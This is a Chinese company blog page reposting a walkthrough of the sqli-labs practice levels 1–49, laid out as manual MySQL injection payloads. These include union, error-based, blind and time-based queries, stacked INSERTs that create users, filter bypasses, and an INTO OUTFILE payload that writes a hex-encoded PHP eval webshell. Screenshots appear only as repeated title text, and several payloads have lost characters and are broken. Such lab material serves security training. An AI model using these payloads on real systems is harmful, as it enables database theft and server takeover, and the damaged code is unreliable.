网站建设资讯

NEWS

网站建设资讯

mysql手工如何注入详解

下文内容主要给大家带来MySQL手工如何注入详解,这里所讲到的知识,与书籍略有不同,都是创新互联专业技术人员在与用户接触过程中,总结出来的,具有一定的经验分享价值,希望给广大读者带来帮助。

创新互联致力于网站设计、做网站,成都网站设计,集团网站建设等服务标准化,推过标准化降低中小企业的建站的成本,并持续提升建站的定制化服务水平进行质量交付,让企业网站从市场竞争中脱颖而出。 选择创新互联,就选择了安全、稳定、美观的网站建设服务!

less-1(普通字符型)

http://127.0.0.1/sql/Less-1/?id=1

加’可知可能是字符型注入
mysql手工如何注入详解
用and来确认
mysql手工如何注入详解
mysql手工如何注入详解
说明存在注入

order by查询字段数
mysql手工如何注入详解
mysql手工如何注入详解
存在3个字段

union select查询在页面中显示的位置
mysql手工如何注入详解

查询数据库
mysql手工如何注入详解
查询表
mysql手工如何注入详解
查字段
mysql手工如何注入详解
mysql手工如何注入详解

查内容
mysql手工如何注入详解

less2(普通数值型)

数字型的

less3(带括号字符型)

使用’可知可能是拼接型的字符型注入
mysql手工如何注入详解
使用and判断
mysql手工如何注入详解
mysql手工如何注入详解
确定是注入点
order by查询字段数
mysql手工如何注入详解
mysql手工如何注入详解

less4(带括号双引号字符型)

使用’以及数值型无法判断,使用%81也无法判断,使用”发现可能是双引号型的注入,并且是带括号的
mysql手工如何注入详解
使用and
mysql手工如何注入详解
mysql手工如何注入详解
order by
mysql手工如何注入详解
mysql手工如何注入详解

less5(双查询型单引号)

使用’可知可能是字符型注入
mysql手工如何注入详解
使用and
mysql手工如何注入详解
mysql手工如何注入详解
初步确定注入
order by确定字段数
mysql手工如何注入详解
union select查看页面中显示位置
mysql手工如何注入详解
失败,对于注入时没有在页面中显示位置的可使用双查询注入方法!
使用双查询注入固定公式
union select 1 from (select count(),concat(floor(rand(0)2),(注入语句))a from information_schema.tables group by a)b -- -
mysql手工如何注入详解
查询表
mysql手工如何注入详解
太多显示不了,使用limit查询
mysql手工如何注入详解
mysql手工如何注入详解
http://127.0.0.1/sql/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113 -- -

' or 1 group by concat_ws(0x3b,version(),floor(rand(0)*2)) having min(0) or '1
mysql手工如何注入详解

less6(双查询型双引号)

使用’以及数值型注入无法判断,使用宽字节无法判断,使用”进行判断可知是双引号型的字符注入
mysql手工如何注入详解
使用and
mysql手工如何注入详解
mysql手工如何注入详解
order by
mysql手工如何注入详解
union select
mysql手工如何注入详解
无返回显示位,使用双查询注入
mysql手工如何注入详解

less7(双括号盲注mid,ascii,基于时间)

使用’以及数值型无法判断,根据less2,猜测可能存在有括号的情况
mysql手工如何注入详解
mysql手工如何注入详解
尝试把后面的一个and换成注释,发现失败
mysql手工如何注入详解
猜测可能后面还有一个括号注释不了
使用双括号试试
mysql手工如何注入详解
mysql手工如何注入详解
使用order by
mysql手工如何注入详解
使用union select
mysql手工如何注入详解
没有回显,使用双查询注入失败
mysql手工如何注入详解
使用mid函数进行盲注
判断数据库长度
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0X20)),9,1))>1
mysql手工如何注入详解
mysql手工如何注入详解
mysql手工如何注入详解
查询表
AND ORD(MID((SELECT IFNULL(CAST(table_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7365637572697479 LIMIT 0,1),1,1))>1 -- -

LIMIT 0,1),1,1
0,1第一张表是否存在,一次性查询一张表
1,1第一个字符是否存在,一次性查询一个字符

查询字段
AND ORD(MID((SELECT IFNULL(CAST(column_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.columnS WHERE table_schema=0x7365637572697479 LIMIT 0,1),1,1))>105 -- -

查内容
AND ORD(MID((SELECT IFNULL(CAST(id AS CHAR),0x20) FROM emails limit 0,1),1,1))>48 -- -
使用ascii
'))  and(ascii(substr((select(database())),8,1))>1)  and sleep(5) -- -
mysql手工如何注入详解
可单独使用
'))  and(ascii(substr((select(database())),8,1))>1)  -- -
mysql手工如何注入详解
mysql手工如何注入详解

less8(字符型盲注mid)

使用’以及and可知存在注入
mysql手工如何注入详解
mysql手工如何注入详解
order by
mysql手工如何注入详解
union select不返回显示位
使用双查询注入失败
使用mid
mysql手工如何注入详解
mysql手工如何注入详解
数据库总共有8个字符

less9(基于时间的盲注单引号)

使用’以及数值型无法判断,使用宽字节无法判断,使用带括号无法判断,使用sleep判断
mysql手工如何注入详解
mysql手工如何注入详解
带’试试
mysql手工如何注入详解
初步判断为基于时间的盲注
使用and
mysql手工如何注入详解
mysql手工如何注入详解

使用mid
mysql手工如何注入详解
mysql手工如何注入详解
使用ascii
'  and(ascii(substr((select(database())),9,1))>1)  and sleep(5) and '1'='1
mysql手工如何注入详解

less10(基于时间的盲注双引号)

使用’以及数值型无法判断,使用宽字节无法判断,使用带括号无法判断,使用sleep判断,以及使用单引号的sleep也无法判断出,根据less4猜测可能是双引号
mysql手工如何注入详解
mysql手工如何注入详解
使用mid
mysql手工如何注入详解

less11(post 字符型)

获取请求头参数
mysql手工如何注入详解
post注入
对uname进行注入探测
使用’判断可能存在注入
mysql手工如何注入详解
使用or进行进一步探测(主要是使用万能语句来判断,根据是否成功登陆,使用and的话想对麻烦点)
mysql手工如何注入详解
mysql手工如何注入详解
在使用and来进一步注入
mysql手工如何注入详解
mysql手工如何注入详解
常规字符注入
mysql手工如何注入详解
mysql手工如何注入详解
mysql手工如何注入详解

使用双查询
mysql手工如何注入详解
使用mid
mysql手工如何注入详解

less12(post 带括号字符型)

使用’以及数值型无法判断,使用宽字节无法判断,使用双引号判断可能存在注入,且是带括号型的
mysql手工如何注入详解
使用or
mysql手工如何注入详解
mysql手工如何注入详解
order by
mysql手工如何注入详解
union select
mysql手工如何注入详解

less13(带括号双查询)

使用’可知是字符型的,且是带括号的
mysql手工如何注入详解
使用and
mysql手工如何注入详解
mysql手工如何注入详解
order by
mysql手工如何注入详解
union select无返回显示位
mysql手工如何注入详解
使用双查询
union select 1 from (select count(),concat(floor(rand(0)2),(select database()))a from information_schema.tables group by a)b -- -
mysql手工如何注入详解

less14(双查询双引号)

mysql手工如何注入详解

less15(时间盲注,mid)

使用’ 以及 or 以及order by
mysql手工如何注入详解
mysql手工如何注入详解
union select不返回显示位,双查询失败
使用sleep试试
mysql手工如何注入详解
mysql手工如何注入详解

less16(时间盲注,mid,带括号)

mysql手工如何注入详解
mysql手工如何注入详解

less17(显错注入)sqlmap挂

这里提示是密码重置,应该是使用update更新语句,在insert、update、delete用法一致的时候,使用payload
or updatexml(2,concat(0x1,(注入语句)),0) or '
mysql手工如何注入详解
mysql手工如何注入详解
and extractvalue(1, concat(0x7f, (select version()),0x7f))
mysql手工如何注入详解
and 1=(select from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)
mysql手工如何注入详解
使用子查询
' or (SELECT 1 FROM(SELECT count(
),concat((SELECT(SELECT concat(0x1, cast(database() as char), 0x1)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or '
mysql手工如何注入详解

less18(user-agent显错,时间,子查询)

通过页面查看可知本题注入存在于http请求包里面(如果没有提示的话就得先尝试登录框)!
简单使用’对host以及User-Agent判断,可知注入点可能是User-Agent
mysql手工如何注入详解
使用and,or,无法进一步判断,使用sleep进行尝试
mysql手工如何注入详解
mysql手工如何注入详解

使用子查询
' or (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1,cast(database() as char),0x1)) FROM information_schema.tables limit 0,1),floor(rand(0)2))x FROM information_schema.columns group by x)a) or '

' or (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1,cast(database() as char),0x1))),floor(rand(0)2))x FROM information_schema.columns group by x)a) or '
mysql手工如何注入详解
显错注入
' or updatexml(2,concat(0x1,(database()),0x1),0) or '
mysql手工如何注入详解

less19(referer显错,时间,子查询)

referer字段可能存在注入
使用’
mysql手工如何注入详解
使用and or失败,使用sleep
mysql手工如何注入详解
mysql手工如何注入详解
使用子查询
' or (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1,cast(database() as char),0x1))),floor(rand(0)2))x FROM information_schema.columns group by x)a) or '
mysql手工如何注入详解
显错注入
' or updatexml(2,concat(0x1,(database()),0x1),0) or '
mysql手工如何注入详解

less20(cookie注入,双查询)

使用’
mysql手工如何注入详解
使用and
mysql手工如何注入详解
mysql手工如何注入详解
union
mysql手工如何注入详解

使用双查询
mysql手工如何注入详解

less21(cookie注入,base64编码)

可知cookie是通过base64编码的
mysql手工如何注入详解
使用’
mysql手工如何注入详解

使用admin') and 1=1 -- -
mysql手工如何注入详解
使用admin') and 1=2 -- -
mysql手工如何注入详解
使用order by
mysql手工如何注入详解
union
admin') and 1=2 union select 1,2,3 -- -
mysql手工如何注入详解

less22(cookie注入,base64编码,双引号)

使用’以及数值型,以及宽字节均无法判断,使用”可初步判断
mysql手工如何注入详解
使用and
mysql手工如何注入详解
使用admin" and 1=2 union select 1,2,3-- -
mysql手工如何注入详解
mysql手工如何注入详解

less23(显错注入,子查询)

使用’
mysql手工如何注入详解
使用and
mysql手工如何注入详解

使用双查询失败
使用显错注入
or updatexml(2,concat(0x1,(注入语句)),0) or '
mysql手工如何注入详解
使用子查询
'  and (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1,cast(database() as char),0x1))),floor(rand(0)2))x FROM information_schema.columns group by x)a) and '
mysql手工如何注入详解

less24(二次注入)

在登录的地方,请求的地方均未发现存在有注入,登录进去后发现有一个密码重置功能,考虑可能是update语句,可使用显错注入,但是提交的时候抓包没发现重置密码是提交的用户名,此时考虑可能存在二次注入。
最基本的一个利用方法如下,已知系统中存在有admin这个账户,此时我们注册一个admin’ -- -的用户,登录进去后进行修改密码,这里按理解应该是修改admin’ -- -用户的密码,其实不然这是修改admin账户的密码,即使我们不知道admin的原密码。
由于数据库设置了用户名长度,懒得改了,应该是可以使用显错注入的!

less25(字符注入,过滤一次and和or)

使用’
mysql手工如何注入详解
使用and或or
mysql手工如何注入详解
可知过滤了and和or关键字,使用大小写失败
mysql手工如何注入详解
使用双重嵌套,在and里面嵌套一个and
mysql手工如何注入详解
mysql手工如何注入详解
也可以使用&&的URL编码%26%26
mysql手工如何注入详解
使用order by
mysql手工如何注入详解

less25a(数值型,过滤一次and和or)

使用’无法判断,使用数值型可判断
使用aandnd 1=1

less26(字符注入,过滤空格及注释)

使用’
mysql手工如何注入详解
使用and
mysql手工如何注入详解
过滤了空格以及注释,以及上一关的and,or,这个可以使用嵌套绕过,或者使用其符号(&& ||)的URL编码进行绕过!
不使用空格及注释,使用&&或者||然后在使用显错注入
-1%27 %26%26 extractvalue(1,concat(0x1,database()))%26%26'1'='1
-1%27 || extractvalue(1,concat(0x1,database()))||'1'='1
mysql手工如何注入详解
' %26%26 updatexml(2,concat(0x1,(database())),0)%26%26'1'='1
mysql手工如何注入详解
但是如果想继续往下查询就会发现空格怎么都需要啊,因此使用其他字符的编码进行绕过,linux使用%0a,windows使用%0a%0d,有时使用%0a也是可以的,但是我的环境就没有成功,通过对比可能是我mysql版本问题导致,因此根据自身环境来进行测试,为了忽略这个,因此后面的几关凡是涉及到过滤空格的代码我均进行注释掉,你们只需要知道空格可以使用上面的编码代替即可!

less26a(带括号,不显示mysql错误信息)

使用’
mysql手工如何注入详解
使用and
mysql手工如何注入详解
过滤了and,注释
mysql手工如何注入详解
mysql手工如何注入详解
mysql手工如何注入详解
最后一个截图我们可知查出来的依旧是id=1的数据,这里考虑可能存在括号
mysql手工如何注入详解
带上括号试试
mysql手工如何注入详解
不能使用order by,过滤了*不能使用子查询,不显示mysql错误信息,不能使用显错注入,使用union select进行猜测
mysql手工如何注入详解
mysql手工如何注入详解
也可以这样使用2') aandnd 1=2 union select 1,2,('3
mysql手工如何注入详解

less27(显错注入,过滤)

使用’
mysql手工如何注入详解
使用and
mysql手工如何注入详解
过滤了注释
mysql手工如何注入详解
mysql手工如何注入详解
对于过滤了注释,所以后面的’就不能注释,所以可以考虑使用双查询以及报错注入进行尝试
使用双查询
mysql手工如何注入详解
过滤了union select
使用嵌套
mysql手工如何注入详解
过滤了*好,不能使用双查询,因此接着使用显错注入
' and updatexml(2,concat(0x1,(database())),0) and '1'='1
mysql手工如何注入详解
查询表,从上可知select使用嵌套不能绕过,因此使用大小写混淆进行尝试
mysql手工如何注入详解

less27a(待定,双引号)

使用’以及数值型注入以及宽字节均无法进行判断,使用双引号进行判断
mysql手工如何注入详解
使用and
mysql手工如何注入详解
过滤了注释
mysql手工如何注入详解
mysql手工如何注入详解
过滤了注释,使用双查询或显错注入进行尝试
过滤了*,不能使用双查询,不显示mysql错误信息,不能使用显错注入
使用union select进行猜测
mysql手工如何注入详解
mysql手工如何注入详解
mysql手工如何注入详解

less28(过滤了union select,ascii模糊查询)

使用'
mysql手工如何注入详解
使用and
mysql手工如何注入详解
过滤了注释
mysql手工如何注入详解
mysql手工如何注入详解
mysql手工如何注入详解
可能存在有括号的情况
mysql手工如何注入详解
不显示mysql错误信息不能使用显错注入,过滤了*不能使用双查询和子查询
使用union select进行猜测
mysql手工如何注入详解
过滤了union 和select,使用嵌套失败
mysql手工如何注入详解
过滤了union select以及后面的一个空格(使用%a0可进行绕过,借的图)
mysql手工如何注入详解
使用ascii
') and(ascii(substr((sElect(database())),1,1))>114)and('1'='1
mysql手工如何注入详解

less28a(过滤union select)

同28,但是可以使用注释符
使用order by
mysql手工如何注入详解
使用union select,同28
使用ascii
mysql手工如何注入详解

less29(HPP)

使用’
mysql手工如何注入详解
说明有一定的防护,此时我们可以尝试下编码,但是没成功,我们使用HPP(参数污染https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf) 进行下一步的尝试
mysql手工如何注入详解
使用’
mysql手工如何注入详解
使用and
mysql手工如何注入详解
mysql手工如何注入详解

less30(HPP,双引号)

使用’说明有防护,编码绕过失败,使用HPP
mysql手工如何注入详解
使用’以及数值型,宽字节型失败,使用”
mysql手工如何注入详解

less31(HPP,双引号及括号)

同上探测
mysql手工如何注入详解
说明带括号双引号
mysql手工如何注入详解

less32(宽字节)

使用’
mysql手工如何注入详解
从上面可以简单看出本关使用宽字节,但是我们依旧按照上面的步骤进行,使用数值型无法判断,使用宽字节(http://eth20.blog.51cto.com/13143704/1962804 )初步判断可能存在注入
mysql手工如何注入详解
使用and
mysql手工如何注入详解
mysql手工如何注入详解
在查询表的时候使用十六进制

less33

同上???

less34(宽字节,双查询)

使用’,使用数值型无法进行判断,使用宽字节
mysql手工如何注入详解
使用or
mysql手工如何注入详解
mysql手工如何注入详解
使用双查询
mysql手工如何注入详解

less35(数值型)

使用’失败
mysql手工如何注入详解
使用数值型
mysql手工如何注入详解
mysql手工如何注入详解
使用order by
mysql手工如何注入详解

less36

同32

less37

同34???

less38(堆叠查询)

同1,另外就是可以使用;来进行多条语句的执行
';insert into users(id,username,password) values ('39','eth20','eth20')--+
mysql手工如何注入详解
mysql手工如何注入详解

less39

同2

less40

使用’
mysql手工如何注入详解
使用and
mysql手工如何注入详解
不能使用注释,或者说明后面可能还存在括号
mysql手工如何注入详解
使用子查询失败,使用显错失败,使用盲注
使用盲注ascii(可以使用基于时间的)
'  and(ascii(substr((select(database())),8,1))>1) and '1'='1
mysql手工如何注入详解

');insert into users(id,username,password) values ('40','eth20','eth20'); and ('1'='1
mysql手工如何注入详解
mysql手工如何注入详解

less41

同39
mysql手工如何注入详解
mysql手工如何注入详解

less42

用户名随意
密码:1';insert into users(id,username,password) values ('42','eth20','eth20')-- -

less43

密码:1');insert into users(id,username,password) values ('42','eth20','eth20')-- -

less44

同42

less45

同43

less46(order by后的注入)

通过对比可知注入点是order by后面的参数
使用desc进行对比
mysql手工如何注入详解
mysql手工如何注入详解
使用报错
(select count() from information_schema.columns group by concat(0x1,(database()),0x1,floor(rand()2)) limit 0,1)
mysql手工如何注入详解
mysql手工如何注入详解
下面这种对于limit后的注入依旧适用
mysql手工如何注入详解
导出文件,写马
sort=1 into outfile "F:\phpStudy\WWW\sql\Less-40\eth20.php"  lines terminated by 0x203C3F70687020406576616C28245F504F53545B226574683130225D293B3F3E
mysql手工如何注入详解
mysql手工如何注入详解
使用盲注
1 and If(ascii(substr(database(),1,1))=114,0,sleep(5))--+
mysql手工如何注入详解

less47

通46,只是是字符型的
'  procedure analyse(extractvalue(rand(),concat(0x1,version())),1)-- -
' and (updatexml(2,concat(0x1,(database())),0)) -- -
mysql手工如何注入详解
使用延时注入1' and If(ascii(substr(database(),1,1))=114,0,sleep(5))--+
mysql手工如何注入详解

less48

同46,不能使用显错可使用盲注
mysql手工如何注入详解
使用rand
rand(ascii(left(database(),1))=116)
mysql手工如何注入详解
mysql手工如何注入详解
mysql手工如何注入详解

less49

同47,没错误回显
延时盲注
1' and (If(ascii(substr((database()),1,1))=114,0,sleep(5)))-- -

对于以上关于mysql手工如何注入详解,如果大家还有更多需要了解的可以持续关注我们创新互联的行业推新,如需获取专业解答,可在官网联系售前售后的,希望该文章可给大家带来一定的知识更新。

 


网站栏目:mysql手工如何注入详解
分享链接:http://cdweb.net/article/pjhpdd.html